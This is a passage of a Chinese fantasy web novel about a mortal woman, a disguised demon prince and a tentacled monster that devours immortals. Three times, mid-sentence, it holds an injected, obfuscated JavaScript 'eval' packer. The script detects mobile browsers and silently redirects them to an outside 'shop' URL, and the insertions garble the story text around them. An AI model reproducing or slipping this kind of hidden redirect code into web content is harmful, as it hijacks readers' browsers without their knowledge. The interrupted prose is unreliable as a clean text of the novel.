恐慌的人群四散奔逃,一名凡人眼中闪着骇然的光,他哆哆嗦嗦地推了我一把,不断重复嘶喊, “撤退!快撤退——魔皇回来了!他回来了!” 下一秒,滚烫的鲜血喷涌而出——只见一条蠕动的触手瞬间洞穿了那个凡人的胸膛。紧接着,那仿佛拥有生命的恐怖触须急速转向,直朝我袭来! 小晟猛地将我向后一扯,跃至数丈之外。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549470|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弓起身子,如临大敌般死死盯着那瞬息间已残杀数十人的怪物。 不,那并非怪物…… 那是仙人。 是金珠位阶位列第一席的伏癸仙人。可他的胸口处,竟嵌着一团跳动的肉瘤,仿佛拥有自主的生命。 突然,肉瘤上伸出十条灵活扭动的触手,如毒蛇般从四面八方锁定了小晟。 一阵低沉非人的吼声响起,触手如闪电扑向小晟!他完全没料到这猝不及防的攻击,竟愣在原地——一条触须已死死缠住他的腰际! 我心头一紧,不知从何涌起一股勇气,拾起地上长剑便向触手狠狠砍去! 然而锋利的剑刃竟连表皮都未能划破,仿佛那是由玄铁铸成。另一条触手已如鬼魅般袭向我面门——我根本来不及躲闪。 难道今日真要命丧于此? 就在此时,头顶的岁兽妖突然遭受攻击!青莲如利齿咬住它左前足,炽热烈焰灼烧其口鼻。吃痛的巨兽笨拙抬足,竟一脚踩中伏癸—— “噗嗤”一声闷响,伏癸瞬间被踏作一团肉泥,血肉横飞。原本死死缠绕小晟的触手也顷刻失去活力,如死蛇般软软垂落。 我急忙扶起小晟头也不回地奔逃。他伤势不轻,只能咬牙忍痛随我狂奔。 直至城外,我们才得以片刻喘息。 “那……那究竟是什么东西?” 小晟倚靠树下,艰难地摸出浮沤花灵髓炼制的丹药服下,“不知。非魔,非人,亦非仙。” “谷阿翁呢?我要回去!” 小晟喘息着,一头冷汗,“不知道,回来后我们分头行动,他去取行李,我来找你。” 远处再度传来轰隆巨响。我赶忙搀起小晟,此地绝不可久留!神仙交战,殃及池鱼,必须尽快离开! 我们跌跌撞撞逃至海岸石窟一带。天色已彻底暗下,我们寻了一处石窟暂避。 远处仍可见岁兽妖垂死挣扎、不断冲撞扇城的身影——它周身已被金色仙力蚕丝束缚,暂时无法行动。 天幕低垂,大雨滂沱而下,噼里啪啦的雨声在这漆黑夜里更添几分不安。好在附近石窟中原本栖息的野兽早已感知危险逃窜一空,否则今夜我们这两个“废人”恐怕真要交代在这里。 我接了些雨水,小心喂给小晟。他因受伤浑身滚烫,我解开他的衣襟,只见胸口一道不算深的伤口竟红肿得异常。 “别碰我。” 石窟岩壁泛着幽绿微光,恰好照亮他冷漠中带着戒备的脸——以及一丝难以掩饰的红晕。或许意识到反应过度,他拉好衣服缩向一旁。 “放心,我对你没兴趣。确切地说,我现在对男人都没什么兴趣了。”我抱膝叹息,“虽说二十一岁入了仙籍,样貌没大变,可按凡人年纪算,我都四十八了——小点的孩子都能叫我奶奶,还能对你有什么非分之想?” “……你就是太闲了。人生没有目标,就像枯树主动拒绝甘霖,再不会枝繁叶茂。” 我颓然长叹,“从前我一心只想帮小青成仙。如今?只想躺平度日,天天睡大觉什么也不想。都怪我财迷心窍,跟你们出来赚什么外快……现在只想回家。” 小晟面露不解,“你的小青不就在这里?你不想去找他?” “想啊。可若让鸿珠上仙知道,定要责罚他。尤其是百目仙人——法眼观天下,怎容人在她眼皮底下违反仙规,出征不得携带家眷,仙律仙规我可是背的滚瓜烂熟。” 听到这里,小晟搓了搓胳膊,倒吸凉气,“百目仙实在诡异,成天到处偷窥,讨厌至极。” “就是!有一次我带小青偷喝人间的醉仙酒,他大醉睡了七天七夜。这事被百目仙人知道,竟告到仙帝那儿,害小青挨了好一顿斥责。你说是不是多管闲事?我们在家关起门喝酒,碍着她什么了?” “你没毛病吧?醉仙酒醉仙酒,那本来就不是给仙人喝的……不过确实不干她的事。” 借着一同声讨百目仙,我和小晟莫名拉近了距离。后半夜,他伤势稍好转,主动守夜,我才得以睡上几个时辰。 雨到次日仍未停歇。 岁兽妖经过一夜折腾,似也嚎不动了,只蜷在刃柱城边发出咕噜怪响。我与小晟商量一番,决定动身去寻找谷阿翁——昨日城中疏散百姓,他说不定就在避难聚集地。 5. 第 5 章 重返刃柱城,昔日熙攘街市已杳无人迹。目之所及,残垣断壁间散落着断肢残骸,惨状令人头皮发麻。 “这次岁兽妖竟突破了结界,仙帝恐怕也未曾料到。否则有仙军驻守,城中绝不至乱成这样。”小晟一边说着,一边镇定地在杂乱不堪的药铺废墟中翻找可用药材,“昨日那怪物……绝非寻常仙人所能应付。” “那到底是什么东西?看上去就像一团烂乎乎的肉,实在恶心。” 小晟咬住衣角,手法娴熟地处理腹间伤口。那伤痕不大,却隐隐发黑,非但未愈,反有恶化之势。他迅速包扎妥当,从废墟中拾起一柄长刀,拉着我谨慎穿行于街巷之间。 “从前人界有个村子爆发过灾难,村民先是身体不适,继而癫狂发疯,最后……就变成了那样的怪物,与那日所见一模一样。” 我紧跟在他身后,蹙眉问道,“我在仙界都未曾听闻,你从何得知?” “因为我是那村里唯一的幸存者。” 刃柱城的避难所设于官府下方的洞窟中,因此地素多妖兽,又喜穴居,洞窟纵横交错。 我们赶到时,正见几名守军推搡着一老翁,而那老者正奋力护着个小丫头。 细看之下,竟是谷阿翁。我与小晟急忙上前问个究竟。 “快滚!再纠缠休怪爷不客气!” “这是怎么了?此处不是避难之所吗,为何不让人进?” 那军士瞪我一眼,指着那怯生生的小丫头喝道,“哪里还容得下这魔娃!” 我这才看清,谷阿翁护着的小丫头生着一双清亮竖瞳,竟是半魔之身。 “魔娃又如何?仙魔之战后,人君早已颁诏,凡人与魔族之后,皆以人族视之!” 两名军士面色一沉,摩拳擦掌便要上前逼近小晟。 谷阿翁连忙拉住他衣袖,低声道,“算了算了,咱们走,别惹事。” 恰在此时,大地忽震,远处传来岁兽妖震天的嘶吼。那巨兽休整一夜,恢复了精力,再度剧烈挣扎,引得地动山摇。 我暗叫不妙,左手拉住谷阿翁,右手拽住小晟扬声道,“快走!金蚕仙人的蚕丝快撑不住了!” 原本围观的百姓与军士闻言,顿时慌乱起来,纷纷转身奔向地洞大门。 我们趁乱离开,寻了处僻静之地停下,谷阿翁这才将发生的事一一道来。 当时城中大乱,他本想先躲藏再寻我们,恰遇见这小丫头被拒之门外,于心不忍,求了半天才得以躲过一夜,可天一亮他们仍被赶了出来。 小晟捏紧拳头愤然道,“那帮狗东西,上令不效,只知中饱私囊!” “哎呀呀算了算了,眼下逃命要紧!这城里有怪物,实在不安全,得赶紧走!” 谷阿翁摸摸那丫头的头顶,柔声道,“真真,你阿娘不在了,也没处可去,要不跟着爷爷?” 名叫真真的小丫头抹着眼泪,乖巧点头,“嗯,我跟爷爷走。” “赶紧把万界门召出来,咱们回青莲山再说!” 谷阿翁愣了一下,面露难色,额角竟渗出冷汗。我心底一沉——真是怕什么来什么。 “弄丢了?!” 见谷阿翁支支吾吾,小晟蹙眉道,“不是丢了——是压根就只有一张万界门卷轴!” “什么?!” 两眼一黑差点晕倒在地,我气得眼皮子不停抽搐打架,这可恶的谷阿翁竟然欺骗我套路我,但眼下计较这些已经没用了,就是要把这老东西扒皮抽筋也不能是现在。 事不宜迟先离开刃柱城才行,昨天那种怪物小晟打不过,再遇上我们四个人都得死。 在下一步该如何行动上,我们三个大人产生了分歧,我主张先去邻近城池暂避,再设法返回青莲山;小晟却认为昨夜歇脚的海边石窟更为安全,打算等十一金珠仙斩杀岁兽妖后直接将我扔还给青莲,他们三人则继续兜售药丸——既然做了,总不能白忙一场。谷阿翁见多识广,连连摇头说邻城必定早已紧闭城门,绝无可能放人进去,更提醒道,这一战,岁兽妖未必会死。 正当我们争执不下时,岁兽妖的长尾猛地一甩,竟将半条街的屋顶齐刷刷削飞! 我们慌忙扑倒在地,灰头土脸,心跳如擂。就在这时,本地人真真忽然开口,说她知道一个安全的地方,可以带我们去避难。 孩子的话又有谁会怀疑? 我们当即跟着真真在废墟间疾奔,很快来到城中央的贤君堂前。这座祠堂是为纪念上一位仙魔战争中出面调停的贤君所建,几乎每座城池都有一座,刃柱城也不例外。 钻进堂下地窟,外界的轰鸣巨响终于渐远,我们总算能喘一口气。 “他们还在等什么?金珠仙搞不定,就该玄珠仙、鸿珠仙上!如今整座城变成废墟,死了多少人!” 小晟状态极差,负伤后越发虚弱,靠在一旁喘着粗气冷笑,“静心仙人还真是把你藏在温室里,养得不谙世事、天真无知。你真以为那些仙人的仙丹都是自己修炼来的?不会以为靠三十年修为就能结出金丹吧?” 谷阿翁瞪了小晟一眼,抓了七八颗药丸塞进他那张刻薄的嘴里,“照夜心思单纯,就别跟她提这些了。这次是阿翁我对不住你,事后一定带你去梦池灵镜,决不食言。” 我懊恼地席地而坐,嘟囔道,“我只想回家,别的什么都不想了。” 小晟勉强撑起身子,警觉道,“有风……这地窟还有别的出路,不能久留。岁兽妖可能会把出口震塌。” 真真轻声接话,“我知道路,跟我来。” 各怀心事,我们默默跟在这个半魔小女孩身后,从一处洞窟钻向另一处。 不知走了多久,殿后的小晟突然拉住我的手,压低声音道,“不对劲……有血腥味。” “……啊?会不会是野兽?” 小晟拧紧眉头,高挺的鼻梁上滑下一滴冷汗,“是腐烂的人味。” 我顿时手脚冰凉,死死攥住他的手,“完了完了……我这次是不是真要死了?” “嘘,静观其变。” 静观其变个屁! 浓烈的腐臭味越来越重,石窟壁上逐渐渗满黄绿色的粘液。谷阿翁终于也察觉异常,按住真真的肩膀问,“真真,是不是走错了?怎么感觉不大对劲……” 方才还嘤嘤哭泣的柔弱小女孩忽然转过头来,嗓音变得粗嘎难听,“老子不叫真真!你这瞎老头!” 只见她猛地蹲下身抱住脑袋,厉声嘶喊。 瘴母神——以此新鲜血肉,供奉于您! 地窟中猛然窜出七八条猩红触手,小晟大叫一声“不好”,转身便跑!谷阿翁头一回见到如此骇人之物,吓得噌一下从我身旁掠过,眨眼就钻进了其他通道。 小晟还算讲义气,憋着一口气拽住我狂奔。本就错综复杂的地窟更难辨方向,后有怪物穷追不舍,我们只能凭本能向深处逃去。 不知跑了多远,我和小晟脚下一滑,顺着一条布满粘液的通道从洞口直坠下去。 原以为必死无疑,坠地时却并未撞上坚硬岩石—— 才刚揉着脑袋被小晟拉起,眼前的一幕就让我险些呕吐出来,视野所及,无数黄绿色卵泡堆积如山,其中隐隐透出幽光,仿佛有什么正在内部蠕动。 “小心,别踩破了。”小晟冰冷的手紧拉着我,小心翼翼挪向边缘。直到跳回实地,他才沉声道,“看来这怪物蛰伏已久……竟产了这么多卵。” “这到底是什么东西?” 小晟拾起地上一把断裂的剑,手指抚过剑身的云纹刻印,“看来部分仙军被直接吞噬,又借由母体孵化成卵。那魔人称它为‘瘴母神’,想必就是这怪物的名字。” 我搓着发麻的胳膊,声音止不住颤抖,“从未听说过世上有这种怪物……” 小晟拉着我迅速离开这处孵化巢,沉重一叹,“它们早已存在。当年映山都毁灭,就有这群怪物的一份‘功劳’。” 我衣襟鞋袜上都沾满了黏腻腥臭的液体,令人作呕,虽暂时摆脱触手追击,我们仍生死未卜。 “给你,吃一颗。” 我吞下药丸,一股暖意顿时涌遍全身,体力仿佛恢复了许多,“当年你的家乡……也是被这种怪物入侵的吗?” 小晟低垂眼眸,轻轻“嗯”了一声,“仙力对它们无效,否则伏癸仙人与他的仙军也不至于遭此毒手。” “那该如何消灭?” 他掏出火折子,目光骤冷,“烧光它们。” 我们捡了两把剑防身,又用衣物勉强制成火把备用,随即动身寻找谷阿翁。 途中小晟冷静分析,瘴母神并非本体,产卵后必然虚弱,加之岁兽妖在外闹得惊天动地,它无法外出觅食,应正处于衰弱期——我们仍有胜算。 至于我之前为何无法伤及伏癸的触手,小晟推测,这怪物吞噬仙人后又将其异化孵化,继承了他们生前部分能力。 是啊,伏癸仙人身坚如铠,成仙前便是将军,正因如此才被仙帝选为仙军将领。 头顶不时传来巨响,碎石纷纷坠落。我们必须争分夺秒,否则即便不葬身怪口,也会被活埋于此。 很快,我们重返之前被真真引至的岔路口,只见那魔人胸口破了个大洞,已气息全无。小晟侧耳倾听片刻,低声道,“师傅在里面,他被瘴母神抓住了。” 我们尽量放轻脚步,屏息踏入怪物的母巢。 热浪裹挟着腥臭扑面而来,只见那七八条触手缓缓摆动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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背后渐渐亮起光芒——那是一颗如太阳般耀眼的仙丹。我的意识记录着身为凡人的最后时刻,身体被沸水般的能量溶解,痛苦的终点是虚无。 有什么正从远处向我接近。 在沸水的灼烧下,外表伪装褪去,男人显现出真实的模样。 传说魔皇阿戈里亚斯拥有一双金瞳,他的一万四千八百八十八个后嗣都继承了这璀璨的特征。因此世人笑言,魔皇的子嗣如星辰不可胜数,即便在最深沉的夜里,也会为黑暗保留最后一丝光亮。 沸水翻滚着作出最后挣扎。 岁兽妖的仙丹迸发出炽烈的光色,我的身体在不断消融,露出森森白骨。小晟抱紧我,黑色仙力将我们紧紧包裹,并逐渐染上金色。 我听见青莲盛放的声响,带着金属般的摩擦。那锋利如刃的花瓣绽开、旋转,将所吞噬的一切绞为碎屑——无论是敌人、爱人,还是天地万物。 青莲一旦绽放,便会吞噬消灭所有。 眼睁睁看着自己与小晟的□□随仙丹一同崩裂消散,血肉化为灰烬,唯有一丝意识尚存。 濒死的这一瞬,我做了一个梦。 梦里,我和小青回到了故事起点的小苹村。 少年是养父从山中捡回的孩子——年迈的灵兽已无力抚养,匍匐在养父脚下流下一滴泪,仿佛在恳求善良的樵夫拯救这个可怜的孩子。那之后,我多了一个哥哥。我们一起长大,一起拜村口的厨子刘大嘴为师学习厨艺,梦想着去月下州最大的酒楼赚够钱,共赴仙界修行。 四十五年前的往事,如今依旧历历在目。拉着小女孩在田埂上奔跑的少年从我面前闪过,黄昏下的身影渐渐模糊。可刹那间,一切景象骤然停滞。 一个声音从头顶传来。极亮处隐约浮现一个熟悉的身影,我看不清他的面容,只听见他问,你就是他的劫么。 你是谁? 我是他未来会成为的人。 你是说小青? 他的劫竟然只是一个凡人。 你叽叽咕咕说什么呢,凡人怎么了。 罢了,历劫后他的仙能会飞速进步,至于你,你的任务完成了。 说着那光竟然黯淡了下去,我急忙大声吼道,还有没有天理,他要进步为何牺牲我?!我照夜不是谁的劫,也不会为了谁牺牲自我,喂!你有没有礼貌!我话还没说完你竟然跑了! 已经黯淡的光突然又亮了起来,周遭的一切竟然再次恢复了流动,好似有一股热流将我包裹起来,可那光点的声音依旧淡漠。 有趣,我有些期待你们的未来了。 你到底是谁。 6. 第 6 章 不再有回应,一切重归寂静。 我仿佛只是沉入了一场深眠,期盼的死亡迟迟未至——意识仍在,只是被困在无声、无触、无光、无息之境。我的身体如同碎裂的瓷偶,散作千万片,需以漫长光阴重新拼凑、固定,终再成人形。 “殿下,她醒了。” “五年了,也该醒了。” 我挣扎着睁开双眼,摇曳光影在视野里浮动。逐渐地,我能控制这具沉重如石的躯体。 僵硬,疼痛,像落枕般难以转动,可这份痛楚却令我欣喜——它证明我还活着。 我下意识拉住正俯视着我的人。他有一双金色的眼瞳,如星辰明亮。 他将我从温暖的水中一把捞起,拨开黏在我颊边的长发,轻啧一声,“活像个刚出生的孩子——虽然是个已经五十三岁的孩子。” “你……叫什么名字?” “小晟不好听?太敷衍了是吧。叫我本名吧,钩星。我叫钩星。” 好消息是,当年我被岁兽妖吞噬后,因其仙丹护体未死,五年后肉身重塑完成。 坏消息是,岁兽妖的仙丹已将我彻底溶解吞噬,我不再是凡人,而成了一枚盛放仙丹的容器。 更坏的消息是,当时的小晟——也就是眼前自称为钩星的男人,为救我一同被青莲法器卷入,与仙丹一同嚼碎重铸。换句话说,钩星与我部分血肉已在某种程度上“混淆使用”了。 于我而言,死亡仿佛是昨日才发生的事,尽管人间已过了整整五年。 钩星陈述这些时,我悄悄拉开领口、又低头瞄了一眼□□——还好该有的仍有,不该有的也没多出来。 最终,钩星气急败坏道,“照夜,你不仅掠夺了岁兽妖的仙丹,还占了我二十年修为,可谓是连吃带拿,成了五年前那场征讨之役最大的赢家。” “何必急着审问一个刚醒的人?我饿了,浑身湿漉漉的,我要吃饭、沐浴。至于你说的那些……我会好好消化。” 钩星朝一梳着双髻的女子抬了抬下巴,她便恭顺地引我退出。 我的四肢仍不甚听使唤,时不时左脚绊右脚。引路的女子自称珊瑚,她掩嘴轻笑,耐心等我驯服自己的双腿,“有没有发觉哪里不一样?” “怎么好像……一条腿长一条腿短?” “不是啦,是您的头发长得好长。” 我回头一望,好家伙,发尾竟逶迤在地,无怪总觉得颈间沉甸甸。珊瑚体贴地替我拢起长发,温言道稍后便为我修剪,不必着急。 沐浴吃饭之际,我也没闲着,旁敲侧击向珊瑚探问情报。 万万没想到,此处竟是魔界的映山都,而钩星的真实身份,乃是魔皇阿戈里亚斯第一万四千八百八十八个孩子——没错,就是那个在魔皇清点子嗣数目时刚刚降世的幼子。 因钩星的母亲是凡人,他身上魔气淡薄近乎于无,连仙人也难以辨识,常误认他作凡人。 珊瑚所知外界讯息有限,只晓得自从仙帝结界被岁兽妖撞出巨洞后一直未得修复——换句话说,魔族,终于可以出门了。 我急于回家,一路跑去找钩星谈判。 空旷的大殿中除了他,还有一男一女两个陌生人。男人高大魁梧、身披战甲,女子则长裙曳地、肤若凝脂,一看便知绝非寻常人物。 钩星支着下巴望过来,还没等我开口便斩钉截铁地说道,“免谈。除非你交出仙丹,否则绝不可能离开映山都。” 那女子翩然行礼,声音柔婉却字字惊心,“迩松大将,不如你试试剖开她的胸膛,将仙丹取出来?” 我大吃一惊,根本来不及反应。 只见那铠甲男子倏忽闪现在我面前,铁拳如流星般直贯我的胸膛,快得像一道电光。就在那一刹那,仿佛有什么自我体内迸发——轰然一声,竟将他震出十几米远! 我只觉浑身如被烈火灼烧,炽热难忍,几乎要燃烧起来。我下意识伸手扯开领口,试图缓解那几乎要将我吞噬的灼热。 可还未喘过气,那男人竟又如鬼魅般疾冲而来,发起一连串猛烈的攻势。他的拳如暴雨倾泻,却每一次都撞在一堵无形之墙上,被狠狠弹回。任他如何发力,竟始终无法突破。 就在这时,名叫迩松的将领猛然抽出一柄泛着红光的长剑,直刺向我咽喉。剑身燃着火焰般的杀意,可就在触及我前的刹那——诡异的一幕发生了,那猩红色的仙力仿佛被什么无形之力牵引,突然汇成一道细流,如游蛇般顺着剑尖钻入我的胸膛! 我吓得慌忙拍打,试图阻止那异物入侵,却毫无作用。 钩星从皇座跃下,慢步走近我,蹙眉道,“迩松,浔筝,这下明白了吧?她已成了仙丹容器,体内凝聚着庞大仙力,仙力会本能护主,抗拒外界破坏,甚至持续吸附、消纳外来仙力。换句话说,除非存在仙力浓度远高于她的仙体将她彻底吸纳,否则寻常力量根本伤不了她。” 说着,他试探地将手搭在我肩上,确认未被反击后,才轻轻吁出一口气,“只要不显露敌意,就不会被仙丹判定为威胁。在取出仙丹之前,大家和平共处才是最佳选择。” 一股奇异的感觉在我体内流转,那抹猩红仙力仿佛已被仙丹彻底吞噬,褪尽了原本的色泽。我紧张地低头看向胸口,灼热已渐渐消退,身体并无异样,只是……莫名觉得有些饱。 “是,殿下,我等先行告退。” 等二人退出大殿,我跟在钩星屁股后面问道,“我到底什么时候才 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“这是我自愿的吗?!不是你们两个狗东西把我从青莲山骗出来,我会遭此一劫?!没有灵关窍怎么了?我天生如此!再说小青自会庇护我衣食无忧,我根本不稀罕什么仙力!本来日子过得舒舒服服,你们两个没良心的竟联手欺骗我、敲诈我、囚禁我!我照夜真是瞎了眼,才着了你们的道!” 见我放声大哭,谷阿翁顿时手足无措,急得直打转,“哎呀,你们两个都少说两句。事已至此,人没死不就是万幸吗?再说殿下当年为了救你,肉身也几近破碎,这五年他同样在蕴灵泉中疗伤度日。” “不骗我出来,哪来后面这些事?!” “那件事……真是一场意外。”谷阿翁抬起袖子替我擦泪,转头对钩星说道,“还是尽快将消息告知青莲仙人为好。他如今已是玄珠位阶第六席,若知晓我们藏匿照夜,一怒之下前来清算怎么办,魔族如今民生凋敝,可再经不起折腾了。” “不急。”钩星垂眸沉思片刻,说道,“照夜,你体内的仙丹对魔族至关重要,我绝不能让你带着它离开。况且青莲仙人正在闭关,除鸿珠仙外无人得见。既然如此,我希望你在映山都多留一段时日,待我取出仙丹,自会放你走。” 说实在的,我也不喜欢身体里多个异物。虽说能保护我确实方便,但没有才是最好。 “好吧,这本就不属于我,我也不想要。” “不愧是照夜小友!殿下,我就说她为人真诚单纯,绝不会起贪念独占仙丹!” 钩星扫了我一眼,略显尴尬地轻咳一声,拂袖而去,“行了,就这么定了。” 7. 第 7 章 回到寝殿,我忙不迭关起门来向谷阿翁问起了外界的事儿。这不说不知道,一说简直吓我一大跳。 简单来说,闭关已达五十年之久的仙帝煌木,大概率已经仙逝。 当然,这还只是三界间的猜测,只因魔界结界破裂后煌木始终未曾现身,不仅如此,现存结界的灵力也日益稀薄,恐怕不久便会彻底消散。 五年前岁兽妖一战后,青莲仙人顺利晋升玄珠位阶,而赤浪仙人则接替伏癸仙人成为金珠首席。那一战惨烈异常,殒落一位玄珠仙、包括伏癸在内的三名金珠仙,以及五位银珠仙,可谓损失极为惨重。 我有些不解,岁兽妖真有如此可怕吗? 不,我仍清晰记得那个被称为“瘴母神”的怪物——它吞噬了伏癸仙人后又将其“诞下”,使他异化成触手怪物,最终被岁兽妖一脚踩灭。 谷阿翁告诉我的第二件大事是,当初我们所遭遇的瘴母神仅是一个分身。虽然当时大雨未能将其母巢彻底烧尽,但岁兽妖庞大的身躯却将其压毁。可惜其他分身早已在人间蔓延繁殖,如今人间界南部以玉山为界已进入封禁状态,由玄珠仙人铁棘筑起高墙,阻挡异化百姓的侵袭。 前线将士死伤惨重,仙军也力不从心。 原因很简单,异化怪物能吸收仙力,仙术对它们几乎无效。而由仙人异化而成的怪物更为可怕——它们往往保留了一部分生前的特殊能力。 听完谷阿翁的叙述,我竟生出一种恍如隔世之感。 对我最后一个问题,谷阿翁却避而不谈、再三沉默。在我一再逼问下,他才勉强透露片段。 当年我与钩星被青莲法器绞为碎屑之时,穆青就已感知到我的死亡。金丹散逸,他未能吸收岁兽妖的力量,也未能见到我最后一面,更不知金丹后来在岁兽妖母巢中重新凝聚的事。 至于之后发生了什么,谷阿翁再也不肯多说半个字。 我心如刀绞,恨不能立刻飞回小青身边。我央求谷阿翁偷偷去一趟青莲山——哪怕穆青正在闭关,只要得知我还在世,定会第一时间来接我回家。 “不是不帮你,殿下也承诺了,取出金丹就送你回去。别急,再等等。” 眼下受制于人,纠缠也是徒劳。我心里憋着一股气,暗想,待我回到青莲山,定要让小青为我出头,好好教训这两个狗东西! 由于结界的缘故,魔界的白天不见天日,只有朦胧白光洒落,权作昼夜之分。 魔皇宫殿高踞映山都之上,于此可俯瞰整座都城。人口凋零,昔日以能生闻名三界的魔族,如今竟也面临生存难题——而一切根源,在于长渊被掩、魔界缺水。 宫殿里人迹稀少,除了珊瑚随行在侧,几乎看不到什么侍卫与婢女。 我转了两圈便觉无趣,想回家的念头愈发强烈。天色刚暗,我又跑去找钩星,果然还没开口就被他一口回绝。 这家伙甚至再度提起那被我“夺走”的二十年修为,要我立刻还给他。 或许自己也觉得这话说得有些过了,钩星转而提议带我去城中散心。 从高处望去,城中央矗立着一棵参天巨树,直至走到树下,我才真切感受到它的巍峨。树上悬挂着不少白色巨果,枝叶繁茂,缀满细小的白花。我从未见过这样奇特的树木,忍不住问钩星这是什么。 他仰望着那些苍白的果实,眉间凝着愁绪,“这是抱婴椿,那些是胎果。” 恕我见识浅薄,这竟是我第一次听说这种树。他带我跃上一根粗壮树枝,将我的手轻轻按在一颗白色果实上——一阵规律而有力的搏动顿时撞击着我的掌心。 我心中一惊,这里面竟然是胎儿。 “魔族的繁衍方式与凡人、仙人都不同。有些夫妻会选择借抱婴椿生育后代,只可惜这些年,连椿树也日渐衰老,能孕育的生命越来越少。” 我把耳朵贴上一颗胎果,清晰地听到其中传来婴儿的心跳。轻轻摇晃,果内液体荡漾流动,竟真如羊水一般。 “好神奇……你听,还有胎动!” 我忙拉钩星一同俯耳去听,他脸上阴郁的神情似乎也因此稍展。 “殿下!殿下——!” 一群孩子围在树下又蹦又跳地朝钩星打招呼。他笑着跃下,瞬间被娃娃们团团围住。他们七嘴八舌地问着各种问题,破裂的结界还会有仙人来修吗?长烬海还会不会有水? 正喧闹间,一位身着灰麻布衣的中年男人缓步走近,向钩星行礼道,“殿下,您来了。” “柑洱先生。”钩星不知从哪儿掏出一把糖,分给孩子们,随后迎上前去。 “这位就是现任鸿珠的容器吗?” 名为柑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549473|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洱的男人一句话就让我头皮发麻。 鸿珠?我体内的……竟然是世间罕有的鸿珠仙丹? 钩星点头,向我介绍道,“这位是柑洱仙人,曾经的玄珠十二仙之一。” 一位仙人竟现身魔界,还被魔族殿下尊称为“先生”?我满心警惕地盯着这个面色温和的男人,不自觉地往钩星身后缩了缩。 敏锐地察觉到我的戒备,钩星不动声色地在袖下轻轻握住了我的手。 “前尘往事,不必再提。如今我也只是映山都中一个普通的教书先生。” 教书先生会有一身结实的腱子肉吗?我不知道,但我不喜欢这人看我的眼神——赤裸而冰冷。 “我们来看看抱婴椿。今年新生的孩子,比去年又多了一些。” 柑洱笑了笑,说道,“趁仙帝尚无回应,殿下还应早日决断,重新破开长渊。否则魔族恐怕只能一步步走向凋亡。” 钩星蹙眉颔首,沉默地目送柑洱先生远去。 “轻点……疼。” 听到钩星低声抱怨,我这才反应过来,连忙松开手——只见他手背上已被我捏出几道红痕。 我有些茫然地望向自己的掌心,竟隐约浮动着一缕金色的仙力,转瞬又消失无踪。 “你还不能很好地控制仙丹的力量,”钩星甩了甩手,语气中带着提醒,“尽量保持情绪平稳,以免误伤他人。”他心事重重,沿着冷清的街道缓步向前,低声续道,“若父皇还在,定有办法破开长渊,为魔界重新引来活水。” “破开长渊……真的很困难吗?” 钩星无奈地摇头叹息,“难。原本指望借岁兽妖的力量震碎长渊,可它或许是嗅到了瘴母神的气息,竟转而撞破了结界。” 说到这里,他忽然望向我,目光落在我胸前,眼中闪过一丝光亮,“照夜,岁兽妖虽死,它的力量却并未消失。” “……我?我可没有劈开长渊的本事。” 钩星精神一振,一把握住我的手,语气急切却带着希望,“不,不必你亲自出手。现在的你就像一颗‘熠石’——只需将你的仙力暂借于我,由我来劈开长渊!” “这……真的能做到吗?” 他金色的瞳孔仿佛被希望点亮,郑重地点头,“必须可以。魔族……再也等不起下一颗鸿珠仙丹现世了。” 8. 第 8 章 我没有立刻答应钩星,说老实话我内心十分矛盾,一来我本就应该把仙丹的力量还给魔族,可另一方面我又害怕日后自己的行为会被仙界追究。 万一因此失去仙籍还连累小青,那他迄今为止所有的努力都白费了,他好不容易晋升了玄珠位阶,若因我被拖累该如何是好。 钩星压根不理会我的诸多烦恼,他已经开始着手与我“共鸣”。谷阿翁知道此事开心的不得了,竟然当着迩松和浔筝的面拍胸脯保证我和钩星一定能“共鸣”成功。 我被迫一次次配合练习所谓的共鸣,心里一点也不开心。 所谓共鸣不过是让我,确切说是仙丹习惯钩星的存在,这样他才能借由肢体的接触持续不断抽取我体内贮藏的仙力。 这天开始,有什么事变得怪怪的,钩星几乎每天与我形影不离,并且会时刻拉着我的手,就算我垮着脸他也丝毫没有退意。 就这样过了三个月,我好像什么也没做,但钩星却当着众臣子的面单方面宣布了他的阶段性胜利。是的,仅仅是我终于在有他看着的情况下睡着,且我睡着后没有因他的碰触发动自卫反击。 于是共鸣训练进入下一个阶段,钩星要用他的仙力来接触我了。 第一次很不顺利,就在黑色雾气状的仙力接触我的瞬间,一股力量扭绞成鞭子,只是一甩便轻松吓退了钩星的仙力。 就这样,我每天无时无刻都得应付钩星一次又一次试探,我吃饭,睡觉,沐浴,发呆,发牢骚,无论什么时候那黑色的雾气都别想接近我。 经过屡次失败后,钩星有些气馁了。 这天傍晚,我无聊至极在屋里喝闷酒,珊瑚说我喝的可是蕴灵泉水酿造的酒,不仅味美甘醇回味无穷还可以强身健体。 “咦,又不是什么好东西,之前我和钩星受伤后便睡在蕴灵泉中,所以这是洗澡水酿造的酒。” “嘻嘻,您是仙丹,殿下是魔族首领,便是洗澡水那也是至纯至清的圣泉。” 